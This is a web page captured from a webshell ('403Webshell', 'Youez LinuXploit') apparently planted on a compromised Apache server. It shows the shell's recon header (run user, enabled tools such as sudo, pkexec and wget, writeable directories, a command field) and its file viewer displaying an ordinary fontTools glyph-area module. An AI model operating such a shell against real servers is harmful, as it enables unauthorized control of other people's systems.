403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/fontTools/pens/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/fontTools/pens/areaPen.py
"""Calculate the area of a glyph."""

from fontTools.pens.basePen import BasePen


__all__ = ["AreaPen"]


class AreaPen(BasePen):

	def __init__(self, glyphset=None):
		BasePen.__init__(self, glyphset)
		self.value = 0

	def _moveTo(self, p0):
		self._p0 = self._startPoint = p0

	def _lineTo(self, p1):
		x0, y0 = self._p0
		x1, y1 = p1
		self.value -= (x1 - x0) * (y1 + y0) * .5
		self._p0 = p1

	def _qCurveToOne(self, p1, p2):
		# https://github.com/Pomax/bezierinfo/issues/44
		p0 = self._p0
		x0, y0 = p0[0], p0[1]
		x1, y1 = p1[0] - x0, p1[1] - y0
		x2, y2 = p2[0] - x0, p2[1] - y0
		self.value -= (x2 * y1 - x1 * y2) / 3
		self._lineTo(p2)
		self._p0 = p2

	def _curveToOne(self, p1, p2, p3):
		# https://github.com/Pomax/bezierinfo/issues/44
		p0 = self._p0
		x0, y0 = p0[0], p0[1]
		x1, y1 = p1[0] - x0, p1[1] - y0
		x2, y2 = p2[0] - x0, p2[1] - y0
		x3, y3 = p3[0] - x0, p3[1] - y0
		self.value -= (
				x1 * (   -   y2 -   y3) +
				x2 * (y1        - 2*y3) +
				x3 * (y1 + 2*y2       )
			      ) * 0.15
		self._lineTo(p3)
		self._p0 = p3

	def _closePath(self):
		self._lineTo(self._startPoint)
		del self._p0, self._startPoint

	def _endPath(self):
		if self._p0 != self._startPoint:
			# Area is not defined for open contours.
			raise NotImplementedError
		del self._p0, self._startPoint

Youez - 2016 - github.com/yon3zu
LinuXploit